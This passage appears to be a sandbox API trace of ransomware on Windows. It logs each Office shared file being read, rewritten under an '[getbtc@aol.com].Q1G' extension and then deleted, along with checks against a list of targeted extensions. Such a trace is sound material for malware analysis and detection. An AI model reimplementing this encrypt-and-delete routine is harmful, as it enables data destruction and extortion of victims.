dwFileAttributes=0x20) returned 1 [0054.604] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 1 [0054.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0054.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0054.604] lstrlenW (lpString=".doc") returned 4 [0054.605] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0054.605] lstrlenW (lpString=".docx") returned 5 [0054.605] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0054.605] lstrlenW (lpString=".pdf") returned 4 [0054.605] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0054.605] lstrlenW (lpString=".xls") returned 4 [0054.605] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0054.605] lstrlenW (lpString=".xlsx") returned 5 [0054.605] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0054.605] lstrlenW (lpString=".ppt") returned 4 [0054.605] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0054.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0054.605] lstrlenW (lpString=".zip") returned 4 [0054.605] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0054.605] lstrlenW (lpString=".rar") returned 4 [0054.605] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0054.605] lstrlenW (lpString=".bz2") returned 4 [0054.605] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0054.605] lstrlenW (lpString=".7z") returned 3 [0054.605] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0054.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0054.605] lstrlenW (lpString=".dbf") returned 4 [0054.605] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0054.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0054.605] lstrlenW (lpString=".1cd") returned 4 [0054.605] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0054.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0054.605] lstrlenW (lpString=".jpg") returned 4 [0054.605] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0054.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0054.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0054.605] lstrlenW (lpString=".doc") returned 4 [0054.605] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0054.605] lstrlenW (lpString=".docx") returned 5 [0054.605] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0054.605] lstrlenW (lpString=".pdf") returned 4 [0054.606] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0054.606] lstrlenW (lpString=".xls") returned 4 [0054.606] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0054.606] lstrlenW (lpString=".xlsx") returned 5 [0054.606] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0054.606] lstrlenW (lpString=".ppt") returned 4 [0054.606] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0054.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0054.606] lstrlenW (lpString=".zip") returned 4 [0054.606] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0054.606] lstrlenW (lpString=".rar") returned 4 [0054.606] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0054.606] lstrlenW (lpString=".bz2") returned 4 [0054.606] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0054.606] lstrlenW (lpString=".7z") returned 3 [0054.606] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0054.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0054.606] lstrlenW (lpString=".dbf") returned 4 [0054.606] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0054.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0054.606] lstrlenW (lpString=".1cd") returned 4 [0054.606] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0054.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0054.606] lstrlenW (lpString=".jpg") returned 4 [0054.606] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0054.606] lstrcmpiW (lpString1=".TTF", lpString2=".Q1G") returned 1 [0054.606] lstrlenW (lpString="MTEXTRA.TTF") returned 11 [0054.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.607] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=7656) returned 1 [0054.607] CloseHandle (hObject=0x218) returned 1 [0054.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 0x20 [0054.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.607] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.607] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0054.608] GetLastError () returned 0x0 [0054.608] ReadFile (in: hFile=0x218, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x1de8, lpOverlapped=0x0) returned 1 [0054.609] WriteFile (in: hFile=0x180, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x1df0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0x1df0, lpOverlapped=0x0) returned 1 [0054.610] ReadFile (in: hFile=0x218, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.610] WriteFile (in: hFile=0x180, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.610] SetEndOfFile (hFile=0x180) returned 1 [0054.610] CloseHandle (hObject=0x180) returned 1 [0054.610] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.611] SetEndOfFile (hFile=0x218) returned 1 [0054.611] CloseHandle (hObject=0x218) returned 1 [0054.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.612] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 1 [0054.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0054.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0054.612] lstrlenW (lpString=".doc") returned 4 [0054.612] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0054.612] lstrlenW (lpString=".docx") returned 5 [0054.612] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0054.612] lstrlenW (lpString=".pdf") returned 4 [0054.612] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0054.612] lstrlenW (lpString=".xls") returned 4 [0054.612] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0054.612] lstrlenW (lpString=".xlsx") returned 5 [0054.612] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0054.612] lstrlenW (lpString=".ppt") returned 4 [0054.612] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0054.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0054.612] lstrlenW (lpString=".zip") returned 4 [0054.612] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0054.612] lstrlenW (lpString=".rar") returned 4 [0054.612] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0054.612] lstrlenW (lpString=".bz2") returned 4 [0054.612] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0054.612] lstrlenW (lpString=".7z") returned 3 [0054.612] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0054.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0054.612] lstrlenW (lpString=".dbf") returned 4 [0054.612] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0054.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0054.612] lstrlenW (lpString=".1cd") returned 4 [0054.612] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0054.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0054.613] lstrlenW (lpString=".jpg") returned 4 [0054.613] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0054.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0054.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0054.613] lstrlenW (lpString=".doc") returned 4 [0054.613] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0054.613] lstrlenW (lpString=".docx") returned 5 [0054.613] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0054.613] lstrlenW (lpString=".pdf") returned 4 [0054.613] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0054.613] lstrlenW (lpString=".xls") returned 4 [0054.613] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0054.613] lstrlenW (lpString=".xlsx") returned 5 [0054.613] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0054.613] lstrlenW (lpString=".ppt") returned 4 [0054.613] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0054.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0054.613] lstrlenW (lpString=".zip") returned 4 [0054.613] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0054.613] lstrlenW (lpString=".rar") returned 4 [0054.613] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0054.613] lstrlenW (lpString=".bz2") returned 4 [0054.613] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0054.613] lstrlenW (lpString=".7z") returned 3 [0054.613] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0054.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0054.613] lstrlenW (lpString=".dbf") returned 4 [0054.613] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0054.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0054.613] lstrlenW (lpString=".1cd") returned 4 [0054.613] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0054.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0054.613] lstrlenW (lpString=".jpg") returned 4 [0054.613] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0054.614] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0054.614] lstrlenW (lpString="MSOEURO.DLL") returned 11 [0054.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.614] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=31104) returned 1 [0054.614] CloseHandle (hObject=0x218) returned 1 [0054.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20 [0054.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.615] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.615] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0054.615] GetLastError () returned 0x0 [0054.615] ReadFile (in: hFile=0x218, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x7980, lpOverlapped=0x0) returned 1 [0054.620] WriteFile (in: hFile=0x180, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x7990, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0x7990, lpOverlapped=0x0) returned 1 [0054.625] ReadFile (in: hFile=0x218, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.625] WriteFile (in: hFile=0x180, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.625] SetEndOfFile (hFile=0x180) returned 1 [0054.626] CloseHandle (hObject=0x180) returned 1 [0054.626] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.626] SetEndOfFile (hFile=0x218) returned 1 [0054.627] CloseHandle (hObject=0x218) returned 1 [0054.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.627] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 1 [0054.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0054.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0054.627] lstrlenW (lpString=".doc") returned 4 [0054.627] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0054.627] lstrlenW (lpString=".docx") returned 5 [0054.627] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0054.627] lstrlenW (lpString=".pdf") returned 4 [0054.627] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0054.627] lstrlenW (lpString=".xls") returned 4 [0054.627] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0054.627] lstrlenW (lpString=".xlsx") returned 5 [0054.627] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0054.627] lstrlenW (lpString=".ppt") returned 4 [0054.627] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0054.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0054.628] lstrlenW (lpString=".zip") returned 4 [0054.628] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0054.628] lstrlenW (lpString=".rar") returned 4 [0054.628] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0054.628] lstrlenW (lpString=".bz2") returned 4 [0054.628] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0054.628] lstrlenW (lpString=".7z") returned 3 [0054.628] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0054.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0054.628] lstrlenW (lpString=".dbf") returned 4 [0054.628] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0054.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0054.628] lstrlenW (lpString=".1cd") returned 4 [0054.628] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0054.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0054.628] lstrlenW (lpString=".jpg") returned 4 [0054.628] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0054.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0054.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0054.628] lstrlenW (lpString=".doc") returned 4 [0054.628] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0054.628] lstrlenW (lpString=".docx") returned 5 [0054.628] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0054.628] lstrlenW (lpString=".pdf") returned 4 [0054.628] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0054.628] lstrlenW (lpString=".xls") returned 4 [0054.628] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0054.628] lstrlenW (lpString=".xlsx") returned 5 [0054.628] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0054.628] lstrlenW (lpString=".ppt") returned 4 [0054.628] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0054.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0054.628] lstrlenW (lpString=".zip") returned 4 [0054.628] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0054.628] lstrlenW (lpString=".rar") returned 4 [0054.629] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0054.629] lstrlenW (lpString=".bz2") returned 4 [0054.629] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0054.629] lstrlenW (lpString=".7z") returned 3 [0054.629] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0054.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0054.629] lstrlenW (lpString=".dbf") returned 4 [0054.629] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0054.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0054.629] lstrlenW (lpString=".1cd") returned 4 [0054.629] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0054.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0054.629] lstrlenW (lpString=".jpg") returned 4 [0054.629] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0054.629] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0054.629] lstrlenW (lpString="msgfilt.dll") returned 11 [0054.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0055.435] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=38768) returned 1 [0055.435] CloseHandle (hObject=0x244) returned 1 [0055.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 0x20 [0055.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0055.435] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.435] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0055.436] GetLastError () returned 0x0 [0055.436] ReadFile (in: hFile=0x244, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x9770, lpOverlapped=0x0) returned 1 [0055.437] WriteFile (in: hFile=0x240, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x9780, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0x9780, lpOverlapped=0x0) returned 1 [0055.439] ReadFile (in: hFile=0x244, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.439] WriteFile (in: hFile=0x240, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.439] SetEndOfFile (hFile=0x240) returned 1 [0055.439] CloseHandle (hObject=0x240) returned 1 [0055.439] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.439] SetEndOfFile (hFile=0x244) returned 1 [0055.440] CloseHandle (hObject=0x244) returned 1 [0055.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.441] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 1 [0055.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0055.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0055.441] lstrlenW (lpString=".doc") returned 4 [0055.441] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.441] lstrlenW (lpString=".docx") returned 5 [0055.441] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0055.441] lstrlenW (lpString=".pdf") returned 4 [0055.441] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.441] lstrlenW (lpString=".xls") returned 4 [0055.441] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.441] lstrlenW (lpString=".xlsx") returned 5 [0055.441] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0055.441] lstrlenW (lpString=".ppt") returned 4 